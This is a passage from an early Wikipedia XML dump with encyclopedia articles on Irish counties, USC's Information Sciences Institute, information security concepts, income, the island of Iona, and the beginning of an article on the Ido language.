Generally administration follows the 34 &quot;county-level&quot; counties and cities of Ireland. The counties are referred to as &quot;[[county council]]s&quot; and 29 fall into this category. The cities of [[Dublin]], [[Cork]], [[Limerick]], [[Galway]] and [[Waterford]] have &quot;[[city council]]s&quot;, previously as &quot;[[corporation]]s&quot;, and are administered separately from the counties bearing those names. The [[City of Kilkenny]] is the only city in the republic which does not have a &quot;city council&quot;; it is still a [[borough]] but not a [[county borough]] and is administered as part of [[County Kilkenny]]. The most recent local government legislation states that Kilkenny may retain the title of &quot;city&quot; for ornament only.

===Education===
The [[Vocational Education Committee]] system is based on the traditional counties of the Republic of Ireland except that [[County Tipperary]] is separated into [[North Tipperary]] and [[South Tipperary]]. Also each of the cities of [[Dublin]], [[Cork]], [[Limerick]], [[Galway]] and [[Waterford]] have their own committee separate from the county. [[Dún Laoghaire]] is unique in that it is the only town with a committee.

The [[Regional Technical College|Institute of Technology]] system was organised on the committee areas or &quot;functional areas&quot;, these still remain legal but are not as important as originally envisioned as the institutes are now more national in character and are only really applied today when selecting governing councils, similarly [[Dublin Institute of Technology]] was originally a group of several colleges of the [[City of Dublin]] committee.

===Elections===
[[Irish general elections|General election]] areas in the Republic of Ireland also mostly follow county boundaries - called &quot;[[constituency|constituencies]]&quot; in accordance with [[Law of the Republic of Ireland|Irish law]] - maintaining links to the county system is a mandatory consideration in the re-organisation of constituency boundaries. This system usually results in more populated counties having several constituencies - while others, such as Sligo and Leitrim, constitute a single constituency of two counties - Dublin city and county is subdivded into twelve constituencies. [[Local councillor]]s, elected to local government, are based on similar boundaries to the general election areas, however councillors generally run in a particular [[town council]] or [[borough council]] area which may often encompasses several smaller towns and villages.

==Alphabetical list==

{| align=center border=1 cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; style=&quot;font-size:90%&quot;
|-
! align=left |County
! align=left |Former name
! align=left |Province
! align=left |State
! align=left |Additional local government
|-
|[[County Antrim|Antrim]]
|
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Armagh|Armagh]]
|
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Carlow|Carlow]]
|[[Caterlaugh]]
|[[Leinster]] 
|[[Republic of Ireland]]
|-
|[[County Cavan|Cavan]]
|
|[[Ulster]]
|[[Republic of Ireland]]
|-
|[[County Clare|Clare]]
|[[County Thomond|Thomond]]
|[[Munster]]
|[[Republic of Ireland]]
|-
|[[County Cork|Cork]]
|(see [[County Desmond|Desmond]])
|[[Munster]]
|[[Republic of Ireland]]
|''[[Cork|City of Cork]]''
|-
|[[County Donegal|Donegal]]
|[[County Tyrconnel|Tyrconnel]]
|[[Ulster]]
|[[Republic of Ireland]]
|-
|[[County Down|Down]]
|
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Dublin|Dublin]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|''[[City of Dublin]],&lt;br/&gt;[[Dun Laoghaire-Rathdown]],&lt;br/&gt;[[Fingal]],&lt;br/&gt;[[South Dublin]]''
|-
|[[County Fermanagh|Fermanagh]]
|
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Galway|Galway]]
|
|[[Connacht]]
|[[Republic of Ireland]]
|''[[City of Galway]]''
|-
|[[County Kerry|Kerry]]
|(see [[County Desmond|Desmond]])
|[[Munster]]
|[[Republic of Ireland]]
|-
|[[County Kildare|Kildare]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Kilkenny|Kilkenny]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Laois|Laois]]
|[[Queen's County, Ireland|Queen's County]], [[County Leix|Leix]]
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Leitrim|Leitrim]]
|
|[[Connacht]]
|[[Republic of Ireland]]
|-
|[[County Limerick|Limerick]]
|
|[[Munster]]
|[[Republic of Ireland]]
|''[[City of Limerick]]''
|-
|[[County Londonderry|Londonderry]]
|(see [[County Coleraine|Coleraine]])
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Longford|Longford]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Louth|Louth]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Mayo|Mayo]]
|
|[[Connacht]]
|[[Republic of Ireland]]
|-
|[[County Meath|Meath]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Monaghan|Monaghan]]
|
|[[Ulster]]
|[[Republic of Ireland]]
|-
|[[County Offaly|Offaly]]
|[[King's County, Ireland|King's County]]
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Roscommon|Roscommon]]
|
|[[Connacht]]
|[[Republic of Ireland]]
|-
|[[County Sligo|Sligo]]
|
|[[Connacht]]
|[[Republic of Ireland]]
|-
|[[County Tipperary|Tipperary]]
|
|[[Munster]]
|[[Republic of Ireland]]
|[[North Tipperary]],&lt;br/&gt;[[South Tipperary]]
|-
|[[County Tyrone|Tyrone]]
|
|[[Ulster]]
|[[Northern Ireland]]
|-
|[[County Waterford|Waterford]]
|
|[[Munster]]
|[[Republic of Ireland]]
|''[[City of Waterford]]''
|-
|[[County Westmeath|Westmeath]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Wexford|Wexford]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|-
|[[County Wicklow|Wicklow]]
|
|[[Leinster]]
|[[Republic of Ireland]]
|}

==Former counties==

Former counties include: [[County Coleraine]] which formed the basis of County Londonderry, and [[Nether Tyrone|Nether]] and [[Upper Tyrone]] which were merged, and [[Desmond]] which was split between Counties Cork and Kerry.  Other names seen on old maps include [[Caterlaugh]] or [[Caterlagh]], archaic designations of County Carlow, in the days before much of the north of that county was taken into Wicklow. In 1777, the ancient norman town of Carrickfergus lost its status of county town, there was formerly a county of Carrickfergus which extend further than the modern borough of Carrickfergus,

==See also==
*[[List of Irish counties by population]]
*[[List of Irish counties by area]]
*[[County_Town#Traditional_counties_of_the_Republic_of_Ireland|List of Irish County Towns]]
*[[Provinces of Ireland]]
*[[Districts of Northern Ireland]]
*[[Irish Vehicle Registration Plates]]
*[[Irish topics]]
*[[ISO 3166-2:IE]]

==External links==
*[http://www.cso.ie/census/Census2002Results.htm Central Statistics Office - 2002 census results]
*[http://www.genuki.org.uk/big/irl/ Family history links to traditional counties of Ireland]

Flags
*[http://www.geocities.com/Athens/Sparta/1648/flags.htm Flags of Ireland - includes county flags]
*[http://www.crwflags.com/fotw/flags/ie.html Flags of the World - Ireland - includes more flags]

Baronies, Civil Parishes and Townlands
*[http://www.rootsweb.com/~irlkik/ihm/baronies.htm The Baronies of Ireland -Clans and Baronies]
*[http://www.rootsweb.com/~irlkik/ihm/barony-map-connacht.htm Connacht Baronies -Map]
*[http://www.rootsweb.com/~irlkik/ihm/barony-map-leinster.htm Leinster Baronies -Map]
*[http://www.rootsweb.com/~irlkik/ihm/barony-map-munster.htm Munster Baronies -Map]
*[http://www.rootsweb.com/~irlkik/ihm/barony-map-ulster.htm Ulster Baronies -Map]
*[http://www.seanruad.com/ IreAtlas Townland Search]

Representatives of local government
*[http://www.amai.ie Association of Municipal Authorities of Ireland]
*[http://www.councillors.ie General Council of County Councils]
*[http://www.lama.ie Local Authority Members Association]

[[Category:Lists of subnational entities|Ireland, Counties of]]
[[Category:Counties of Ireland|!]]
[[Category:Ireland]]
[[Category:Local government in the Republic of Ireland]]

[[ast:Condaos d'Irlanda]]
[[de:Gliederung Irlands]]
[[es:Condados de Irlanda]]
[[fr:Comtés d'Irlande]]
[[it:Contee d'Irlanda]]
[[nl:Graafschappen van Ierland]]
[[ja:アイルランドの地方行政区画]]
[[no:Grevskap i Irland]]
[[pt:Subdivisões da Irlanda]]
[[ro:Comitatele Irlandei]]
[[sv:Irlands grevskap]]</text>
    </revision>
  </page>
  <page>
    <title>Information Sciences Institute</title>
    <id>15034</id>
    <revision>
      <id>37251202</id>
      <timestamp>2006-01-29T20:15:03Z</timestamp>
      <contributor>
        <ip>68.7.50.54</ip>
      </contributor>
      <comment>/* Division 7: Computer Networks */</comment>
      <text xml:space="preserve">The '''Information Sciences Institute''' ('''ISI''') of the [[University of Southern California]] (USC) is a prominent research organization in the field of [[information science]]; it is part of the [[Viterbi School of Engineering]] at USC. It is involved in a broad spectrum of [[information]] processing research, and in the development of advanced computer and communication technologies. 

The Institute was founded in 1972 by [[Keith Uncapher]]. ISI is currently headed by [[Herbert Schorr]] who came to ISI in 1988 after a career as both executive and scientist at [[IBM]].

It is not located on campus as USC, but at a separate facility in [[Marina del Rey, California]]; it also has a branch facility in [[Arlington, Virginia]].

==Divisions==
ISI is divided into ten &quot;divisions&quot;, each of which contains research groups focused on a particular aspect of information science:

===Division 1: Computational Sciences===
Conducts research in the areas of [[applied mathematics]], [[compiler]]s, [[cluster]]s, and other large-scale applications with emphasis of maximizing [[throughput]].

===Division 2: Distributed Scalable Systems===
Conducts research in areas that deal with groups of computers, particularly those that are involved in mobile or distributed applications. Topics include [[information space analysis]] and [[e-commerce]].

===Division 3: Intelligent Systems===
Conducts research in the area of [[artificial intelligence]] and related fields such as [[data mining]], [[robotics]], and [[machine learning]].

===Division 4: Silicon Systems / [[MOSIS]]===
Conducts research in low-cost low-volume [[semiconductor]] and [[MEMS]] manufacturing. 

===Division 5: Business Office===
Contracts and Grants administration.  [[Human Resources]] functions.

===Division 6: Action===
[[Hardware]] and [[Software]] Support.

===Division 7: Computer Networks===
Conducts research into all forms of [[computer networking]] including networking [[protocol (computing)|protocols]], [[Distributed computing|distributed networking]], [[embedded]] networking, [[sensor network]]s, and [[middleware]]. The division has built or collaborated on building several key elements of modern networks that are in wide use throughout today's [[Internet]], including: [[Internet protocol suite|TCP/IP]], [[Domain Name System|DNS]], [[Simple Mail Transfer Protocol|SMTP]], and [[IPv6]].

Division 7 was directed by [[Jon Postel]] until his passing.

===Division 8: Advanced Systems===
Conducts research into unconventional and cutting-edge systems in a range of areas such as compilers, [[Very-large-scale integration|VLSI]], [[grid computing]], [[wireless]] systems, and [[computer-aided design]].

===Division 9: Integration Sciences===
Conducts research into distributed [[database]]s, [[pattern recognition]] and their applications.

===Division 10: Dynamic Systems===
Conducts research into standard and [[Embedded system|embedded systems]] that adapt to changes in [[Electric power|power]], [[configuration]], or [[natural environment|environment]].

==External links==
*[http://www.isi.edu ISI homepage]


{{org-stub}}

[[Category:Scientific institutions]]
[[Category:University of Southern California]]

[[ja:&amp;#24773;&amp;#22577;&amp;#31185;&amp;#23398;&amp;#30740;&amp;#31350;&amp;#25152;]]</text>
    </revision>
  </page>
  <page>
    <title>Internet Corporation for Assigned Names and Numbers</title>
    <id>15035</id>
    <revision>
      <id>15912550</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[ICANN]]
</text>
    </revision>
  </page>
  <page>
    <title>Information security</title>
    <id>15036</id>
    <revision>
      <id>40745519</id>
      <timestamp>2006-02-22T19:15:34Z</timestamp>
      <contributor>
        <username>Awillcox</username>
        <id>363018</id>
      </contributor>
      <minor />
      <comment>/* See also */  (added SoGP/ISF)</comment>
      <text xml:space="preserve">'''Information security''' deals with several different &quot;[[trust]]&quot; aspects of [[information]].  Another common term is '''information assurance'''.  Information security is not confined to [[computer]] systems, nor to information in an electronic or [[machine-readable]] form.  It applies to all aspects of safeguarding or protecting information or data, in whatever form.

The [[United States|U.S.]] [[National Information Systems Security Glossary]] defines '''Information systems security''' ('''INFOSEC''') as: 
:''the protection of [[information]] systems against unauthorized [[access]] to or modification of information, whether in [[Computer storage|storage]], processing or transit, and against the denial of service to authorized users or the provision of service to unauthorized users, including those measures necessary to detect, document, and counter such threats.'' 

Most definitions of information security tend to focus, sometimes exclusively, on specific usages and, or, particular media; e.g., &quot;protect electronic data from unauthorized use&quot;. In fact it is a common misconception, or misunderstanding, that information security is synonymous with [[computer security]]—in any of its guises: computer and network security, [[information technology]] (IT) security, [[information systems security]], information and communications technology (ICT) security. Each of these has a different emphasis, but the common concern is the security of information in some form (electronic in these cases): hence, all are subsets of information security. Conversely, information security covers not just information but all infrastructures that facilitate its use—processes, systems, services, technology, etc., including computers, voice and data networks, etc. 

It is an important point that information security is, inherently and necessarily, neither hermetic nor watertight nor perfectible. No one can ever eradicate all risk of improper or capricious use of any information. The level of information security sought in any particular situation should be commensurate with the value of the information and the loss, financial or otherwise, that might accrue from improper use—disclosure, degradation, denial, or whatever. [[Bruce Schneier]] makes this point in ''Secrets and Lies'': information security is about ''[[risk management]]''. 

Three widely accepted elements (aims, principles, qualities, characteristics, attributes ...) of information security are: 
* [[confidentiality]] 
* [[data integrity|integrity]]
* [[availability]] 

These can be remembered by the [[mnemonic]] &amp;#8220;CIA&amp;#8221;, and is often referred to as the [[CIA triad]] [http://www.infosecpedia.org/pedia/index.php/CIA_triad].

A simple way to express this is &quot;the right information to the right people at the right time&quot;.

A further, generally accepted element is: 
* [[accountability]]

Historically, up to about 1990, confidentiality was the most important element of information security, followed by integrity, and then availability. By 2001, changing use and expectation patterns had moved availability to the top of most versions of this priority list. The first goal of modern information security has, in effect, become to ensure that systems are predictably dependable in the face of all sorts of malice, and particularly in the face of [[denial of service]] attacks. 

''NIST Special Publication 800-33 Underlying Technical Models for Information Technology Security''  added '''assurance''' as essential. &quot;Without it the other objectives are not met.&quot; Assurance is the basis for confidence that the security measures, both technical and operational, work as intended to protect the system and the information in processes and that the other four security objectives (integrity, availability, confidentiality, and accountability) have been adequately met by a specific implementation.

Some other facets of information security are:

*[[governance]] 
*[[access control]]
*[[risk assessment]] 
*[[classification]] 
*[[compliance]] 
*[[identification]] and [[authentication]] 
*[[Information Technology Infrastructure Library]]
*[[non-repudiation]] 
*[[authorization]]
*[[administration]] and [[user provisioning|provisioning]]
*[[auditing]]
*[[alerting]]
*[[assurance services|assurance]] and [[reliability]]
*[[Business Continuity Planning]]
*[[COMSEC]]

[[Cryptography]] and [[Cryptanalysis]] are important tools in assuring confidentiality (in transmission or storage of information), integrity (no change can be made undetectably), and source identification (the sender can be identified and all other than that sender can be excluded). Always assuming, necessarily, that the key(s) involved have not been misused or compromised, and that the crypto systems employed have been well chosen and properly used.

==See also==
''See [[:Category:Computer security]] for a list of all computing and information-security related articles''.

* [[Business continuity planning]]
* [[Common Criteria]]
* [[Computer insecurity]]
* [[Computer security]]
* [[Electronic underground community]]
* [[ISO/IEC 17799]]
* [[Risk aversion]]
* [[Security engineering]]
* [[Computer fraud case studies]]
* [[Hacker#Intruders_and_criminals|Notable hackers]]
* [[Infamous Hacks]]
* [[Infamous Phreaks]]
* The [[Standard of Good Practice]] published by the [[Information Security Forum]]

==External links==
* [https://www.isc2.org ISC2]
*[http://www.securestandard.com/ SecureStandard Information Security Whitepapers]
*[http://www.xml-dev.com/blog/?action=viewtopic&amp;id=141 InfoSec Training Media Archive- Videos and Poster]
*[http://blogs.ittoolbox.com/security/investigator/ Information Security Investigations]
*[http://www.cnss.gov/Assets/pdf/cnssi_4009.pdf National Information Assurance (IA) Glossary]
*[http://www.ietf.org/rfc/rfc2828.txt?number=2828 RFC-2828: Internet Security Glossary]

[[Category:Security|Security]]
[[Category:Computer security]]

[[da:Informationssikkerhed]]
[[de:Informationssicherheit]]
[[he:אבטחת מערכות מידע]]
[[nl:Informatiebeveiliging]]
[[no:Datasikkerhet]]
[[pt:Segurança da informação]]
[[ru:Информационная безопасность]]
[[th:การรักษาความปลอดภัยทางข้อมูล]]
[[vi:An ninh thông tin]]
[[zh:信息安全]]</text>
    </revision>
  </page>
  <page>
    <title>Income</title>
    <id>15037</id>
    <revision>
      <id>41448712</id>
      <timestamp>2006-02-27T11:12:35Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS</comment>
      <text xml:space="preserve">{{mergefrom|Unearned income}}
{{mergefrom|Passive income}}

'''Income''', generally defined, is the money that is received as a result of the normal business activities of an individual or a business.  For example, for individuals income usually means the gross amount on their [[payslip]]s before any [[tax]] and other deductions has been made by their employer.

==Meaning within U.S. accountancy==
In [[United States|U.S.]] business and [[accounting]], however, '''income''' most often means the amount of money that a company earns after paying for all its costs. Outside the U.S., the term is usually '''[[profit]]''' or '''earnings'''. To calculate a company's income, it starts with its amount of [[revenue]], deducts all costs, including such things as employees' salaries and [[depreciation]], and the number that results is its income, which may be a negative number. This money is typically reinvested in the business, paid in [[corporate tax]] and used to pay the owners (the shareholders) a [[dividend]].

All [[public company|public companies]] are required to provide [[financial statements]] on a quarterly basis.  The statement of income is an important part of this.  Some companies also provide a more rosy financial report of their income, with ''[[pro forma]]'' reporting, or, [[EBITDA]] reporting.  ''Pro forma'' income is an estimate of how much the company would have earned without including the negative effect of exceptional &quot;one-time events&quot;, supposedly in order to show investors how much money the company would have made under normal circumstances if these exceptional, one-time events had not occurred.  Critics charge that, in most cases, the &quot;one-time events&quot; are normal business events, such as an acquisition of another company or a [[write off]] of a cancelled project or division, and that ''pro forma'' reporting is an attempt to mislead investors by painting a rosy financial picture. Besides that, when discussing results with analysts and shareholders, CEOs and CFOs have a tendency to do even more &quot;hypothetical accounting&quot;.  [[EBITDA]] stands for &quot;earnings before interest, taxes, depreciation, and amortisation&quot;, and is also criticised for being an attempt to mislead investors.  [[Warren Buffett]] has criticised EBITDA reporting, famously asking, &quot;Does management think the tooth fairy pays for capital expenditures?&quot;

It is common for some other companies, such as [[real estate investment trusts]], to present reports using a standard called [[FFO]], or funds from operations.  Like EBITDA reporting, FFO ignores depreciation and amortization.  This is widely accepted in the industry, as [[real estate]] values tend to increase rather than decrease over time, and many data sites report [[earnings per share]] data using FFO.

==Meaning within economic science==
In [[Economics]], income is the constraint to unlimited [[consumer]] purchases.  Consumers can purchase a limited number of goods represented by their &quot;budget constraint&quot;.  The basic equation for this is &lt;tt&gt;Y = Px &amp;times; x + Py &amp;times; y&lt;/tt&gt;, where &lt;tt&gt;Px&lt;/tt&gt; is the price of good x, &lt;tt&gt;x&lt;/tt&gt; is the quantity of good x, and Y is the income (Py and y are similar to Px and x). If you need to examine more than two goods, you can add more on. This equation tells us two things.  First, if you buy one more of good x, you get &lt;tt&gt;Px/Py&lt;/tt&gt; less of good y.  Here, &lt;tt&gt;Px/Py&lt;/tt&gt; is known as the rate of substitution.  Secondly, if the price of x changes, then the rate of substitution changes.  This causes demand curves to slope down.                                                                           

The distribution of income within a society can be measured by the [[Lorenz curve]] and the [[Gini coefficient]].

'''National income''', measured by statistics such as the [[Net National Income]] (NNI), measures the total income of all individuals in the economy.  For more information see [[measures of national income and output]].

== See also ==
*[[Income statement]]
*[[Income tax]]
*[[Income trust]]
*[[Poverty line]]
*[[Profit]]
*[[Per capita income]]
*[[Remuneration]]

== External links ==
*[http://money.cnn.com/markets/IRC/warnings.html Markets &amp; Stocks: Investor Research Center - Earnings Warnings]




[[category:Income]]

[[de:Einkommen]]
[[fr:Revenu]]
[[nl:Inkomen]]
[[pl:Dochód]]
[[pt:Renda]]</text>
    </revision>
  </page>
  <page>
    <title>Iona</title>
    <id>15039</id>
    <revision>
      <id>41589946</id>
      <timestamp>2006-02-28T09:42:46Z</timestamp>
      <contributor>
        <username>Batmanand</username>
        <id>131948</id>
      </contributor>
      <comment>tidying up lead</comment>
      <text xml:space="preserve">:''Alternative uses: see [[Iona (disambiguation)]].''
[[Image:Iona Village from seawards.jpg|thumb|250px|Iona village viewed from a short distance offshore.]]
'''Iona''' is a small island, 1 mile wide (1.6&amp;nbsp;km) and 3.5 miles (5.6&amp;nbsp;km) long, in the [[Inner Hebrides]], [[Scotland]]. Its [[Scottish Gaelic|Gaelic]] name is ''I Chaluim Cille'' (Saint [[Columba]]'s Island), or sometimes just ''Ì'' or ''Idhe''. It is approximately one mile (1&amp;nbsp;600 m) from the coast of [[Isle of Mull|Mull]]. It has a resident [[population]] of 175.

In [[563]] Saint [[Columba]], exiled from his native [[Ireland]], founded a [[monastery]] here with 12 companions.  From here they set about the conversion of [[Paganism|pagan]] Scotland and much of northern [[England]] to [[Christianity]].  Iona's fame as a place of learning and Christian mission spread throughout [[Europe]] and it became a major site of [[pilgrimage]].  Iona became a holy island where several kings of [[Scotland]], [[Ireland]] and [[Norway]] came to be buried.  

[[Image:St-martins-cross.jpg|left|frame|Eighth century St Martin's Cross]]
Many believe that the [[Book of Kells]] was produced on Iona towards the end of the [[8th century]].  In the year [[806]] the monastery on Iona was targeted by [[Viking]] raiders and its treasures plundered.  A [[convent]] for the Order of [[Benedictine]] Nuns was established in [[1203]], with Beathag, daughter of [[Somerled]], as first prioress.  The present [[Benedictine]] [[abbey]] was built in the same period.  The monastery itself flourished until the [[Reformation]]. 

Iona became the burial site for the kings of [[Dál Riata]] and their successors, the early [[Scotland/Monarchs|kings of Scotland]]. Notable burials there include:
*King [[Donald II of Scotland]]
*King [[Malcolm I of Scotland]]
*King [[Duncan I of Scotland]]
*King [[Macbeth of Scotland]]
*King [[Donald III of Scotland]]
*[[John Smith (UK politician)|John Smith]]
The ancient burial ground, called the Reilig Odhráin, contains the [[12th century]] chapel of St Odhrán (said to be [[Columba]]'s uncle), restored at the same time as the Abbey itself.  It contains a number of medieval grave monuments.  Other early Christian and medieval monuments have been removed for preservation to the cloister arcade of the Abbey, and the Abbey museum (in the medieval informary).  The ancient buildings of Iona Abbey are now cared for by [[Historic Scotland]] (entrance charge).

In [[1938]] [[George MacLeod]] founded the [[Iona Community]], 
an ecumenical Christian community of men and women from different walks of life and different traditions in the Christian church committed to seeking new ways of living the [[gospel]] of [[Jesus]] in today's world. This community is a leading force in the present [[Celtic Christianity]] revival.

The Iona Community runs 3 residential centres on the Isle of Iona and on [[Mull]]. These are places of welcome and engagement giving a unique opportunity to live together in community with people of every background from all over the world. Weeks at the centres often follow a programme related to the concerns of the Iona Community.
[[Image:St Mary's Abbey, Iona.jpg|thumb|right|300px|St Mary's Abbey, Iona]]
[[Iona Abbey]], now an ecumenical church, is of particular historical and religious interest to pilgrims and visitors alike.  It is the most elaborate and best-preserved ecclesiastical building surviving from the Middle Ages in the [[Western Isles]] of [[Scotland]].  In front of the Abbey stands the [[9th century]] [[St Martin's Cross]], one of the best-preserved Celtic crosses in the [[British Isles]], and a replica of the [[8th century]] [[St John's Cross]] (original fragments in the Abbey museum).
[[Image:TyIonaNunnery20030825r19f31.jpg|thumb|left|140px|[[Iona Nunnery]], Iona]]
Also of note, [[Iona Nunnery]] is a site of beautiful 12th-13th century ruins of the church and cloister, and a colourful and peaceful garden.  Iona's is the most complete survival of a medieval nunnery in [[Scotland]].  Iona is popular among visitors for its tranquility and natural beauty.  Its geographical features include the [[Bay at the Back of the Ocean]] and the [[Hill with His Back to Ireland]], said to be adjacent to the beach where Saint Columba landed.

==External links==
*[http://www.isle-of-iona.com/ Isle of Iona, Scotland] (produced on behalf of the Iona Community Council)
*[http://www.iona.org.uk/ The Iona Community]
* Computer-generated virtual panorama [http://www.viewfinderpanoramas.org/panoramas/ISL/Iona.gif Summit of Iona] [http://www.viewfinderpanoramas.org/panoramas.html Index]
*{{gbmapping|NM2724}}

[[Category:Inner Hebrides]]
[[Category:Celtic art]]
[[Category:National Trust for Scotland properties]]	

{{commonscat}}
{{Hebrides}}

[[de:Iona (Schottland)]]
[[fr:Iona]]
[[nl:Iona (eiland)]]
[[nds:Iona]]
[[no:Iona]]
[[nn:Iona]]
[[pl:Iona (wyspa)]]
[[sv:Iona]]</text>
    </revision>
  </page>
  <page>
    <title>Ido</title>
    <id>15040</id>
    <revision>
      <id>41143123</id>
      <timestamp>2006-02-25T08:38:48Z</timestamp>
      <contributor>
        <ip>212.176.42.51</ip>
      </contributor>
      <comment>/* Vocabulary */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Ido
|caption=Seal
|image=[[Image:ido.jpg|Ido seal]]
|creator=A group of reformist [[Esperanto]] speakers
|date=[[1907]]
|setting=[[International auxiliary language]]
|speakers=est. 1000–2500 (all as a second language; very broad estimate)
|agency=[[Uniono por la Linguo Internaciona Ido]]
|fam2=[[International auxiliary language]]
|posteriori=based on [[Esperanto]]
|iso1=io|iso2=ido|iso3=ido}}

'''Ido''' (pronounced /{{IPA|id&amp;#x254;}}/), a [[constructed language]], was created to become a universal second language for speakers of different linguistic backgrounds, easier to learn than any ethnic language. This intended usage parallels the actual use of [[English language|English]] as a [[lingua franca]]. Unlike English, which is a natural and sometimes irregular language, Ido is specifically designed for [[Grammar|grammatical]], [[Orthography|orthographic]], and [[lexicography|lexicographical]] regularity, and to favour no one who might otherwise be advantaged due to native fluency. In this sense, Ido is classified as an [[auxiliary language|International Auxiliary Language]]. It may be the second most widely used of these after [[Esperanto]], its predecessor.

Ido was developed in the early [[1900s]], and retains a small following today, primarily in [[Europe]]. It is largely based on Esperanto, created by [[L. L. Zamenhof|L.&amp;nbsp;L.&amp;nbsp;Zamenhof]]. Ido first appeared in 1907 as a result of a desire to reform perceived flaws in Esperanto that its supporters believed to be a hindrance in its propagation as an easy-to-learn second language. Many other reform projects appeared after Ido: examples such as [[Occidental]] and [[Novial]] appeared afterwards but have since faded into obscurity. At present, Ido along with Esperanto and [[Interlingua]] are the only auxiliary languages with a large body of literature and a relatively large speaker base. The name of the language likely traces its origin to the Ido pronunciation of &quot;I.D.&quot; (from &quot;International Delegation&quot;, see below) or the word ''[[esperantido]]'', &quot;descendant (of Esperanto)&quot;.

Ido uses the twenty-six Latin letters used in the [[English alphabet]] with no [[diacritics]]. While still being completely morphologically regular, Ido resembles the [[Romance language]]s in appearance and is sometimes mistaken for [[Italian language|Italian]] or [[Spanish language|Spanish]] at first glance. Ido is largely intelligible to those who have studied Esperanto, though there are certain differences in word formation, grammar and grammatical-function words that make it more than a simple reform project. Ido is a stand-alone language. 

After its inception, Ido gained support (estimates generally range around 20% {{ref|ido-movado}}) from some in the Esperanto community at the time, but following the sudden death in 1914 of one of its most influential proponents, [[Louis Couturat]], it declined in popularity. There were two reasons for this: first, the emergence of further schisms arising from competing reform projects; and second, a general lack of awareness of Ido as a candidate for an international language. These obstacles weakened the movement and it was not until the rise of the Internet that it began to regain its former momentum.

== History ==
[[Image:Ido Kongreso en Desau 1922.jpg|thumb|350px|Photograph of the International Ido Congress in [[Dessau]], [[Germany]], in [[1922]].]]
The idea of a universal second language is not a new one, and constructed languages are not a recent phenomenon. The first known constructed language was created in the 12th century by St [[Hildegard of Bingen]] under the name [[Lingua Ignota]]. It was not until the 19th century, however, that the idea caught on in large numbers with the language [[Volapük]], created in [[1879]] by a [[Germany|German]] Catholic priest named [[Johann Martin Schleyer]]. Volapük, though popular for some time and apparently with users numbering in the thousands, was later eclipsed by the popularity of Esperanto, which arose from Zamenhof's book [[Unua Libro]] in [[1887]]. The simpler grammar of Esperanto appealed to many, and its popularity quickly rose. The world's first [[World Congress of Esperanto|Congress of Esperanto]] was held in [[1905]]. However, some within the Esperanto community itself felt that the language should undergo further reform before being officially selected as a universal second language. It was at this time that Couturat formed the ''[[Delegation for the Adoption of an International Auxiliary Language]].'' 

This delegation made a formal request to the [[International Association of Academies]] in [[Vienna]] to select an international language; the request was rejected in May 1907. The Delegation thereupon decided to meet as a Committee in Paris in October [[1907]] to discuss the adoption of a standard international language among the various competitors that had been devised up to that time. According to the minutes of the Committee, it was decided that no language was completely acceptable, but that [[Esperanto]] could be accepted &quot;on condition of several modifications to be realized by the permanent Commission in the direction defined by the conclusions of the Report of the Secretaries (Couturat and [[Leopold Leau]]) and by the Ido project.&quot; This (anonymous) &quot;Ido project&quot; was later suggested to have been primarily devised by Couturat with some help from Esperanto's representative before the Committee, [[Louis de Beaufront]]. Beaufront had himself argued for reforming Esperanto prior to having been selected to the Delegation. His eventual &quot;conversion&quot; to the Ido camp, upon the presentation of that language, was thus consistent with his earlier positions.

Early supporters of [[Esperanto]] tended to resist reforms, and the language's inventor, [[L. L. Zamenhof]], deferred to their judgment. Ironically, several of the reforms adopted by Ido were themselves proposed at various times by Zamenhof, especially in [[1894]] when he proposed eliminating the accented letters and the accusative case (referring to it as &quot;superfluous ballast&quot; [http://web.archive.org/web/20021228070110/http://www.geocities.com/Paris/Rue/8009/idolinguo/054_074.html]), changing the plural to an Italianesque ''-i'', and replacing the table of correlatives with more Latinate words (see [[History of Esperanto#Esperanto history from publication until the first world congress|History of Esperanto]]). The custom of keeping the basic rules of Esperanto fixed remains today. Couturat, who was the leading proponent of Ido, was killed in an automobile accident in [[1914]], which, along with [[World War I]], dealt a serious blow to the Ido movement.  Although that movement recovered to some degree in the immediate postwar period, the whole movement of international languages became [[balkanization|balkanized]]. With the publication of an even more Europeanized planned language, [[Occidental language|Occidental]], in 1922, Ido went into decline. The Ido movement lost a majority of its published periodicals in the subsequent year or so, and the defection of its major intellectual supporter, the Danish linguist [[Otto Jespersen]], in 1928 on the occasion of the publication of his own planned language [[Novial]], seemed at the time to provide a quietus. 

Some observers trace the eclipse of Ido to its hybrid character – part Esperanto reform project, part [[Sapir-Whorf hypothesis|Standard Average European]]. In this view, once it was clear that Ido would neither displace Esperanto nor be adopted by the Esperanto community, many viewed its Esperanto-like features as unnecessary baggage and moved on to more naturalistic projects. Those who approved of them tended to return to the larger Esperanto community.

Ido's decline had slowed by the 1930s, and the movement was still a significant force in [[interlinguistics]] during the long gestation of the [[International Auxiliary Language Association]]'s project. Like the [[Occidental | Occidentalists]], many Idists hoped that IALA would produce a language relatively close to their own preferences. In the end, the radically naturalistic [[Interlingua]] was even farther from Ido than Occidental, and (in contrast to Occidental) there was no major migration of Ido supporters to the new language.

Ido's survival during this period was assisted by financial resources accumulated during its heyday (e.g., the chemist [[Wilhelm Ostwald]] had donated the proceeds of his 1909 [[Nobel Prize]] to an Ido foundation).

